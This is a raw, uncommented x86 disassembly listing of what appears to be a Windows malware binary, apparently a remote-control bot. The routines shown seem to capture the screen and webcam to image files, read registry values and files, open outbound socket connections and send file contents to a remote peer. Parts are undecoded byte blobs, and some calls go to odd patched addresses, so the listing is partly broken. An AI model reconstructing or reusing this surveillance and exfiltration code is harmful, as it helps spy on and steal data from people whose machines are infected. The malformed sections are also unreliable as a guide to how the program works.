cmp eax, [ebp-8]
jge short loc_415364
cmp byte ptr [esi], 0
jz short loc_415353
cmp byte ptr [ebp-98h], 0
jz short loc_415339
cmp dword ptr [ebp-4], 0
jnz short loc_415339
lea eax, [ebp-98h]
push eax
push esi
call sub_418087
pop ecx
test eax, eax
pop ecx
jz short loc_415353
loc_415339: ; CODE XREF: ___:0041531Ej
; ___:00415324j
push edi
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push esi
push eax
push dword ptr [ebp-11Ch]
call sub_409A73
add esp, 14h
loc_415353: ; CODE XREF: ___:00415315j
; ___:00415337j
inc dword ptr [ebp+8]
add esi, 80h
cmp esi, offset dword_4D327C
jl short loc_41530A
loc_415364: ; CODE XREF: ___:00415310j
lea eax, [ebp-31Ch]
push offset dword_4368A0
push eax
call sub_41B886
xor esi, esi
pop ecx
cmp [ebp-10h], esi
pop ecx
jnz short loc_41539E
push esi
lea eax, [ebp-31Ch]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-118h]
push eax
push dword ptr [ebp-11Ch]
call sub_409A73
add esp, 14h
loc_41539E: ; CODE XREF: ___:0041537Cj
lea eax, [ebp-31Ch]
push eax
call sub_4151AD
push dword ptr [ebp-18h]
call sub_40B413
pop ecx
pop ecx
push esi
nop
; ---------------------------------------------------------------------------
dw 45E8h
; ---------------------------------------------------------------------------
lodsb
sub al, 2
pop edi
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4153BD proc near ; CODE XREF: sub_401ACD+7350p
var_484 = byte ptr -484h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 484h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call dword_4CB640
mov edi, eax
cmp edi, esi
mov [ebp+var_20], edi
jz loc_4155F1
push 8
push edi
call dword_4CB65C
push 0Ah
push edi
mov [ebp+var_8], eax
call dword_4CB65C
push 0Ch
push edi
mov [ebp+var_C], eax
call dword_4CB65C
cmp eax, 8
mov [ebp+var_10], eax
ja short loc_41541F
push 18h
push edi
call dword_4CB65C
mov ebx, 100h
jmp short loc_415421
; ---------------------------------------------------------------------------
loc_41541F: ; CODE XREF: sub_4153BD+50j
xor ebx, ebx
loc_415421: ; CODE XREF: sub_4153BD+60j
push edi
call dword_4CB6A0
cmp eax, esi
mov [ebp+var_4], eax
jz loc_4155D6
mov eax, [ebp+var_8]
push esi
mov [ebp+var_80], eax
mov eax, [ebp+var_C]
mov [ebp+var_7C], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_76], ax
lea eax, [ebp+var_18]
push esi
push eax
lea eax, [ebp+var_84]
push 1
push eax
push edi
mov [ebp+var_84], 28h
mov [ebp+var_78], 1
mov [ebp+var_74], esi
mov [ebp+var_70], esi
mov [ebp+var_6C], esi
mov [ebp+var_68], esi
mov [ebp+var_64], ebx
mov [ebp+var_60], ebx
call dword_4CB698
cmp eax, esi
mov [ebp+var_1C], eax
jz loc_4155E1
push eax
push [ebp+var_4]
call dword_4CB524
cmp eax, esi
jz loc_4155E1
cmp eax, 0FFFFFFFFh
jz loc_4155E1
push 0CC0020h
push esi
push esi
push edi
push [ebp+var_C]
push [ebp+var_8]
push esi
push esi
push [ebp+var_4]
call dword_4CB69C
test eax, eax
jz loc_4155E1
cmp ebx, esi
jz short loc_4154DE
lea eax, [ebp+var_484]
push eax
push ebx
push esi
push [ebp+var_4]
call dword_4CB578
mov ebx, eax
loc_4154DE: ; CODE XREF: sub_4153BD+10Bj
mov edi, [ebp+var_10]
mov ecx, [ebp+var_8]
imul edi, [ebp+var_C]
imul edi, ecx
mov eax, ebx
push esi
shr edi, 3
shl eax, 2
mov [ebp+var_8], eax
push 80h
lea edx, [eax+edi+36h]
add eax, 36h
push 2
mov [ebp+var_26], eax
mov eax, [ebp+var_C]
push esi
push esi
push 40000000h
push [ebp+arg_0]
mov [ebp+var_50], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_30], 4D42h
mov [ebp+var_2E], edx
mov [ebp+var_2A], si
mov [ebp+var_28], si
mov [ebp+var_58], 28h
mov [ebp+var_54], ecx
mov [ebp+var_4C], 1
mov [ebp+var_4A], ax
mov [ebp+var_48], esi
mov [ebp+var_44], esi
mov [ebp+var_40], esi
mov [ebp+var_3C], esi
mov [ebp+var_38], ebx
mov [ebp+var_34], esi
call near ptr 27009D7h
nop
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_4155C1
lea ecx, [ebp+var_14]
push esi
push ecx
lea ecx, [ebp+var_30]
push 0Eh
push ecx
push eax
nop
call near ptr 26F0000h
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_58]
push 28h
push eax
push [ebp+arg_0]
nop
call near ptr 26F0000h
cmp ebx, esi
jz short loc_4155A3
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_484]
push [ebp+var_8]
push eax
push [ebp+arg_0]
nop
call near ptr 26F0000h
loc_4155A3: ; CODE XREF: sub_4153BD+1CCj
lea eax, [ebp+var_14]
push esi
push eax
push edi
push [ebp+var_18]
push [ebp+arg_0]
call near ptr 26F0000h
nop
push [ebp+arg_0]
nop
call near ptr 2660919h
push 1
pop esi
loc_4155C1: ; CODE XREF: sub_4153BD+1A2j
push [ebp+var_1C]
call dword_4CB5B0
push [ebp+var_4]
call dword_4CB510
mov edi, [ebp+var_20]
loc_4155D6: ; CODE XREF: sub_4153BD+70j
push edi
call dword_4CB510
mov eax, esi
jmp short loc_4155F3
; ---------------------------------------------------------------------------
loc_4155E1: ; CODE XREF: sub_4153BD+C7j
; sub_4153BD+D9j ...
push edi
call dword_4CB510
push [ebp+var_4]
call dword_4CB510
loc_4155F1: ; CODE XREF: sub_4153BD+23j
xor eax, eax
loc_4155F3: ; CODE XREF: sub_4153BD+222j
pop edi
pop esi
pop ebx
leave
retn
sub_4153BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4155F8 proc near ; CODE XREF: sub_401ACD+7477p
var_34 = byte ptr -34h
var_20 = dword ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_4D3280
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4CB5A4
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_415636
mov eax, esi
jmp loc_4157EC
; ---------------------------------------------------------------------------
loc_415636: ; CODE XREF: sub_4155F8+35j
push edi
call dword_4CB5F4
test eax, eax
jz short loc_415653
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4CB6B0
jmp short loc_415655
; ---------------------------------------------------------------------------
loc_415653: ; CODE XREF: sub_4155F8+47j
xor eax, eax
loc_415655: ; CODE XREF: sub_4155F8+59j
cmp eax, ebx
jnz short loc_415660
loc_415659: ; CODE XREF: sub_4155F8+88j
; sub_4155F8+BCj
mov ebx, esi
jmp loc_4157E1
; ---------------------------------------------------------------------------
loc_415660: ; CODE XREF: sub_4155F8+5Fj
push edi
call dword_4CB5F4
test eax, eax
jz short loc_41567D
lea eax, [ebp+var_34]
push eax
push 2Ch
push 40Eh
push edi
call dword_4CB6B0
loc_41567D: ; CODE XREF: sub_4155F8+71j
cmp [ebp+var_20], ebx
jz short loc_415659
push edi
call dword_4CB5F4
test eax, eax
mov edi, 42Ch
jz short loc_4156A3
push ebx
push ebx
push edi
push [ebp+var_4]
call dword_4CB6B0
mov [ebp+arg_4], eax
jmp short loc_4156A6
; ---------------------------------------------------------------------------
loc_4156A3: ; CODE XREF: sub_4155F8+98j
mov [ebp+arg_4], ebx
loc_4156A6: ; CODE XREF: sub_4155F8+A9j
push [ebp+arg_4]
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jz short loc_415659
push [ebp+arg_4]
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4156CD
push 1
pop ebx
jmp loc_4157E1
; ---------------------------------------------------------------------------
loc_4156CD: ; CODE XREF: sub_4155F8+CBj
push [ebp+var_4]
call dword_4CB5F4
test eax, eax
jz short loc_4156EA
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CB6B0
loc_4156EA: ; CODE XREF: sub_4155F8+E0j
push [ebp+arg_4]
push [ebp+var_8]
push esi
call sub_41C310
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_415705
mov ecx, 280h
loc_415705: ; CODE XREF: sub_4155F8+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_415711
mov eax, 1E0h
loc_415711: ; CODE XREF: sub_4155F8+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4CB5F4
test eax, eax
mov edi, 42Dh
jz short loc_41575B
push esi
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CB6B0
loc_41575B: ; CODE XREF: sub_4155F8+153j
push [ebp+var_4]
call dword_4CB5F4
test eax, eax
jz short loc_415778
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call dword_4CB6B0
loc_415778: ; CODE XREF: sub_4155F8+16Ej
push [ebp+var_4]
call dword_4CB5F4
test eax, eax
jz short loc_415797
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call dword_4CB6B0
loc_415797: ; CODE XREF: sub_4155F8+18Bj
push [ebp+var_4]
call dword_4CB5F4
test eax, eax
jz short loc_4157B4
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CB6B0
loc_4157B4: ; CODE XREF: sub_4155F8+1AAj
push [ebp+var_8]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB5F4
test eax, eax
jz short loc_4157E1
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call dword_4CB6B0
loc_4157E1: ; CODE XREF: sub_4155F8+63j
; sub_4155F8+D0j ...
push [ebp+var_4]
call dword_4CB704
mov eax, ebx
loc_4157EC: ; CODE XREF: sub_4155F8+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4155F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4157F1 proc near ; CODE XREF: sub_401ACD+752Fp
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_4D3280
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4CB5A4
mov edi, eax
cmp edi, ebx
jnz short loc_41582F
mov eax, esi
jmp loc_415A2B
; ---------------------------------------------------------------------------
loc_41582F: ; CODE XREF: sub_4157F1+35j
push edi
call dword_4CB5F4
test eax, eax
jz short loc_41584C
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4CB6B0
jmp short loc_41584E
; ---------------------------------------------------------------------------
loc_41584C: ; CODE XREF: sub_4157F1+47j
xor eax, eax
loc_41584E: ; CODE XREF: sub_4157F1+59j
cmp eax, ebx
jnz short loc_415859
loc_415852: ; CODE XREF: sub_4157F1+8Bj
; sub_4157F1+BCj
mov ebx, esi
jmp loc_415A22
; ---------------------------------------------------------------------------
loc_415859: ; CODE XREF: sub_4157F1+5Fj
push edi
call dword_4CB5F4
test eax, eax
jz short loc_415879
lea eax, [ebp+var_90]
push eax
push 2Ch
push 40Eh
push edi
call dword_4CB6B0
loc_415879: ; CODE XREF: sub_4157F1+71j
cmp [ebp+var_7C], ebx
jz short loc_415852
push edi
call dword_4CB5F4
test eax, eax
jz short loc_41589C
push ebx
push ebx
push 42Ch
push edi
call dword_4CB6B0
mov [ebp+arg_4], eax
jmp short loc_41589F
; ---------------------------------------------------------------------------
loc_41589C: ; CODE XREF: sub_4157F1+96j
mov [ebp+arg_4], ebx
loc_41589F: ; CODE XREF: sub_4157F1+A9j
push [ebp+arg_4]
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_415852
push [ebp+arg_4]
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4158C6
push 1
pop ebx
jmp loc_415A22
; ---------------------------------------------------------------------------
loc_4158C6: ; CODE XREF: sub_4157F1+CBj
push edi
call dword_4CB5F4
test eax, eax
jz short loc_4158E3
push [ebp+var_4]
push [ebp+arg_4]
push 42Ch
push edi
call dword_4CB6B0
loc_4158E3: ; CODE XREF: sub_4157F1+DEj
push [ebp+arg_4]
push [ebp+var_4]
push esi
call sub_41C310
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_4158FE
mov ecx, 0A0h
loc_4158FE: ; CODE XREF: sub_4157F1+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_415908
push 78h
pop eax
loc_415908: ; CODE XREF: sub_4157F1+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4CB5F4
test eax, eax
jz short loc_41594D
push esi
push [ebp+arg_4]
push 42Dh
push edi
call dword_4CB6B0
loc_41594D: ; CODE XREF: sub_4157F1+14Aj
push edi
call dword_4CB5F4
test eax, eax
jz short loc_41596A
lea eax, [ebp+var_64]
push eax
push 60h
push 441h
push edi
call dword_4CB6B0
loc_41596A: ; CODE XREF: sub_4157F1+165j
push edi
mov [ebp+var_60], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], 1
mov [ebp+var_2C], 5
mov [ebp+var_64], 1046Ah
call dword_4CB5F4
test eax, eax
jz short loc_4159A8
lea eax, [ebp+var_64]
push eax
push 60h
push 440h
push edi
call dword_4CB6B0
loc_4159A8: ; CODE XREF: sub_4157F1+1A3j
push edi
call dword_4CB5F4
test eax, eax
jz short loc_4159C3
push [ebp+arg_0]
push ebx
push 414h
push edi
call dword_4CB6B0
loc_4159C3: ; CODE XREF: sub_4157F1+1C0j
push edi
call dword_4CB5F4
test eax, eax
jz short loc_4159DC
push ebx
push ebx
push 43Eh
push edi
call dword_4CB6B0
loc_4159DC: ; CODE XREF: sub_4157F1+1DBj
push edi
call dword_4CB5F4
test eax, eax
jz short loc_4159F9
push [ebp+var_4]
push [ebp+arg_4]
push 42Dh
push edi
call dword_4CB6B0
loc_4159F9: ; CODE XREF: sub_4157F1+1F4j
push [ebp+var_4]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
push edi
call dword_4CB5F4
test eax, eax
jz short loc_415A22
push ebx
push ebx
push 40Bh
push edi
call dword_4CB6B0
loc_415A22: ; CODE XREF: sub_4157F1+63j
; sub_4157F1+D0j ...
push edi
call dword_4CB704
mov eax, ebx
loc_415A2B: ; CODE XREF: sub_4157F1+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4157F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415A30 proc near ; CODE XREF: sub_401ACD+25F2p
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp off_4368EC, ebx
mov [ebp+var_C], 80h
jz loc_415BD1
push esi
push edi
mov eax, offset off_4368EC
mov esi, offset dword_4368F8
mov edi, offset dword_437AF0
loc_415A60: ; CODE XREF: sub_415A30+199j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_4CB6C4
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call dword_4CB554
test eax, eax
jnz loc_415BB7
mov eax, [esi]
cmp eax, ebx
jz loc_415B7B
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset dword_429AC4
push eax
call sub_41B886
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_41B4C2
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_415BB7
push eax
loc_415AD9: ; CODE XREF: sub_415A30+D4j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_41BB4F
add esp, 0Ch
test eax, eax
jz loc_415B70
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_415B06
push [ebp+var_8]
jmp short loc_415AD9
; ---------------------------------------------------------------------------
loc_415B06: ; CODE XREF: sub_415A30+CFj
push 3Dh
push dword ptr [esi+4]
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz short loc_415B34
lea eax, [ebp+var_70]
push offset asc_437AEC ; "="
push eax
call sub_41C0F4
push offset asc_437AEC ; "="
push ebx
call sub_41C0F4
add esp, 10h
jmp short loc_415B37
; ---------------------------------------------------------------------------
loc_415B34: ; CODE XREF: sub_415A30+E4j
lea eax, [ebp+var_70]
loc_415B37: ; CODE XREF: sub_415A30+102j
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_2F0]
push ebx
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
lea eax, [ebp+var_2F0]
push eax
call sub_4151AD
add esp, 18h
loc_415B70: ; CODE XREF: sub_415A30+B9j
push [ebp+var_8]
call sub_41B05B
pop ecx
jmp short loc_415BB7
; ---------------------------------------------------------------------------
loc_415B7B: ; CODE XREF: sub_415A30+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
lea eax, [ebp+var_2F0]
push eax
call sub_4151AD
add esp, 28h
loc_415BB7: ; CODE XREF: sub_415A30+60j
; sub_415A30+A2j ...
push [ebp+var_4]
call dword_4CB630
add esi, 18h
cmp [esi-0Ch], ebx
lea eax, [esi-0Ch]
jnz loc_415A60
pop edi
pop esi
loc_415BD1: ; CODE XREF: sub_415A30+19j
pop ebx
leave
retn
sub_415A30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415BD4 proc near ; CODE XREF: ___:00416279p
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CB6D4
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_415C50
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CB654
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CB694
cmp eax, esi
jnz short loc_415C35
push [ebp+arg_0]
call dword_4CB6D8
test eax, eax
jz short loc_415C50
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_415C35: ; CODE XREF: sub_415BD4+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CB5FC
cmp eax, esi
jnz short loc_415C54
push edi
call dword_4CB6EC
loc_415C50: ; CODE XREF: sub_415BD4+1Bj
; sub_415BD4+58j
mov eax, esi
jmp short loc_415C56
; ---------------------------------------------------------------------------
loc_415C54: ; CODE XREF: sub_415BD4+73j
mov eax, edi
loc_415C56: ; CODE XREF: sub_415BD4+7Ej
pop edi
pop esi
leave
retn
sub_415BD4 endp
; ---------------------------------------------------------------------------
word_415C5A dw 8B55h ; DATA XREF: sub_401ACD+A1Eo
dd 11B4B8ECh, 0B9E80000h, 8B00005Eh, 56530845h, 8B6D6A57h
dd 0BD8D59F0h, 0FFFFFE4Ch, 16AA5F3h, 0EC75FF5Eh, 1B0B089h
dd 858D0000h, 0FFFFFE54h, 0FF42E850h, 0D88BFFFFh, 0FFFB8359h
dd 8D527559h, 0FFEE4C85h, 7B6C68FFh, 0E8500043h, 5BDAh
dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch, 50F475FFh
dd 0FF6C858Dh, 5350FFFFh, 0FF3DA6E8h, 14C483FFh, 0EE4C858Dh
dd 0E850FFFFh, 0FFFFF4D1h, 0E8F075FFh, 0FFFF572Fh, 90565959h
dd 2CA313E8h, 0D8086802h, 0E8530043h, 3F6Dh, 0FFF88359h
dd 8D597559h, 0FFEE4C85h, 7B3C68FFh, 0E8500043h, 5B76h
dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch, 50F475FFh
dd 0FF6C858Dh, 5350FFFFh, 0FF3D42E8h, 14C483FFh, 0EE4C858Dh
dd 0E850FFFFh, 0FFFFF46Dh, 15FF5359h, 4CB6ECh, 0E8F075FFh
dd 0FFFF56C3h, 0A9E85659h, 90022CA2h, 0A1E8646Ah, 900226A2h
dd 0BEFF33h, 56000010h, 0EE4C858Dh, 5057FFFFh, 581BE8h
dd 0CC48300h, 0EE4C858Dh, 5657FFFFh, 15FF5350h, 4CB66Ch
dd 387EC085h, 0EE4C858Dh, 0A068FFFFh, 500042A0h, 6123E8h
dd 4C858D00h, 50FFFFEEh, 3CA8E8h, 0CC48300h, 1474C085h
dd 49E8646Ah, 900226A2h, 80E80A6Ah, 85FFFF55h, 0A37559C0h
dd 0EE4C858Dh, 868FFFFh, 5000437Bh, 5AB1E8h, 0F87D3900h
dd 1B755959h, 4C858D57h, 0FFFFFFEEh, 8D50F475h, 0FFFF6C85h
dd 0E85350FFh, 0FFFF3C7Fh, 8D14C483h, 0FFEE4C85h, 0AAE850FFh
dd 59FFFFF3h, 0EC15FF53h, 0FF004CB6h, 0E8F075h, 59FFFF56h
dd 0E5E89057h
db 0A1h, 2Ch, 2
; ---------------------------------------------------------------------------
loc_415E1B: ; DATA XREF: sub_401ACD+7832o
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1FCh]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp-10h], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp-0Ch], esi
mov [ebp-20h], esi
call dword_4CB6D4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-18h], edi
jnz short loc_415E69
push offset unk_437C6C
jmp loc_416022
; ---------------------------------------------------------------------------
loc_415E69: ; CODE XREF: ___:00415E5Dj
push 10h
lea eax, [ebp-30h]
push esi
push eax
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-30h], 2
push esi
call dword_4CB654
mov [ebp-2Eh], ax
lea eax, [ebp-30h]
push 10h
push eax
push edi
mov [ebp-2Ch], esi
call dword_4CB680
test eax, eax
jz short loc_415EA7
push offset unk_437C48
jmp loc_416022
; ---------------------------------------------------------------------------
loc_415EA7: ; CODE XREF: ___:00415E9Bj
lea eax, [ebp-1Ch]
mov dword ptr [ebp-1Ch], 10h
push eax
lea eax, [ebp-30h]
push eax
push edi
call dword_4CB5F8
push dword ptr [ebp-2Eh]
call dword_4CB584
mov [ebp-4], eax
lea eax, [ebp-1E0h]
push eax
mov [ebp+8], esi
call sub_41AFE0
pop ecx
loc_415ED9: ; CODE XREF: ___:00415F0Aj
mov ecx, [ebp+8]
mov al, [ebp+ecx-1E0h]
cmp al, 20h
jnz short loc_415EEC
push 5Fh
pop eax
jmp short loc_415EEF
; ---------------------------------------------------------------------------
loc_415EEC: ; CODE XREF: ___:00415EE5j
movsx eax, al
loc_415EEF: ; CODE XREF: ___:00415EEAj
mov [ebp+ecx-604h], al
lea eax, [ebp-1E0h]
inc ecx
push eax
mov [ebp+8], ecx
call sub_41AFE0
cmp [ebp+8], eax
pop ecx
jbe short loc_415ED9
push ebx
push edi
call dword_4CB67C
test eax, eax
jz short loc_415F22
push offset unk_437B6C
jmp loc_416022
; ---------------------------------------------------------------------------
loc_415F22: ; CODE XREF: ___:00415F16j
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp-1E0h]
push 80000000h
push eax
nop
call near ptr 27009D7h
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_415F4C
push offset unk_437C28
jmp loc_416022
; ---------------------------------------------------------------------------
loc_415F4C: ; CODE XREF: ___:00415F40j
push esi
push eax
call near ptr 27309A1h
nop
mov [ebp+8], eax
push eax
movzx eax, word ptr [ebp-4]
push eax
push dword ptr [ebp-1FCh]
call sub_40AC10
pop ecx
push eax
call dword_4CB694
push eax
call dword_4CB650
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset dword_437C10
push eax
call sub_41B886
push esi
lea eax, [ebp-3FCh]
push esi
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409A73
add esp, 2Ch
lea eax, [ebp-38h]
mov dword ptr [ebp-38h], 3Ch
mov [ebp-34h], esi
push eax
push esi
lea eax, [ebp-500h]
push esi
push eax
push esi
mov [ebp-4FCh], edi
mov [ebp-500h], ebx
call dword_4CB63C
test eax, eax
jg short loc_415FFC
push esi
lea eax, [ebp-0DCh]
push dword ptr [ebp-54h]
push offset dword_437BF8
push eax
push dword ptr [ebp-1FCh]
call sub_409A73
jmp loc_416120
; ---------------------------------------------------------------------------
loc_415FFC: ; CODE XREF: ___:00415FDAj
lea eax, [ebp-14h]
mov dword ptr [ebp-14h], 10h
push eax
lea eax, [ebp-48h]
push eax
push edi
call dword_4CB6E8
cmp eax, 0FFFFFFFFh
mov [ebp-1F8h], eax
jnz short loc_416035
push offset unk_437BD4
loc_416022: ; CODE XREF: ___:00415E64j
; ___:00415EA2j ...
lea eax, [ebp-3FCh]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_416123
; ---------------------------------------------------------------------------
loc_416035: ; CODE XREF: ___:0041601Bj
push edi
call dword_4CB6EC
cmp [ebp+8], esi
jz loc_4160E7
mov edi, 400h
loc_41604A: ; CODE XREF: ___:004160DEj
mov eax, [ebp+8]
mov [ebp-4], edi
cmp eax, edi
jge short loc_416057
mov [ebp-4], eax
loc_416057: ; CODE XREF: ___:00416052j
push edi
lea eax, [ebp-0A04h]
push esi
push eax
call sub_41B590
mov eax, [ebp+8]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push dword ptr [ebp-8]
call near ptr 2760000h
nop
lea eax, [ebp-20h]
push esi
push eax
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8]
call near ptr 2700000h
nop
push esi
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-1F8h]
call dword_4CB6A4
mov [ebp-4], eax
push esi
cdq
add [ebp-10h], eax
lea eax, [ebp-0A04h]
push edi
push eax
push dword ptr [ebp-1F8h]
adc [ebp-0Ch], edx
call dword_4CB66C
cmp eax, ebx
jl loc_41617C
mov eax, [ebp-4]
cmp eax, ebx
jl loc_41617C
sub [ebp+8], eax
jnz loc_41604A
mov edi, [ebp-18h]
loc_4160E7: ; CODE XREF: ___:0041603Fj
push dword ptr [ebp-8]
nop
call near ptr 2660919h
push dword ptr [ebp-0Ch]
push dword ptr [ebp-10h]
call sub_416923
pop ecx
pop ecx
push eax
push dword ptr [ebp-44h]
call dword_4CB6E0
push eax
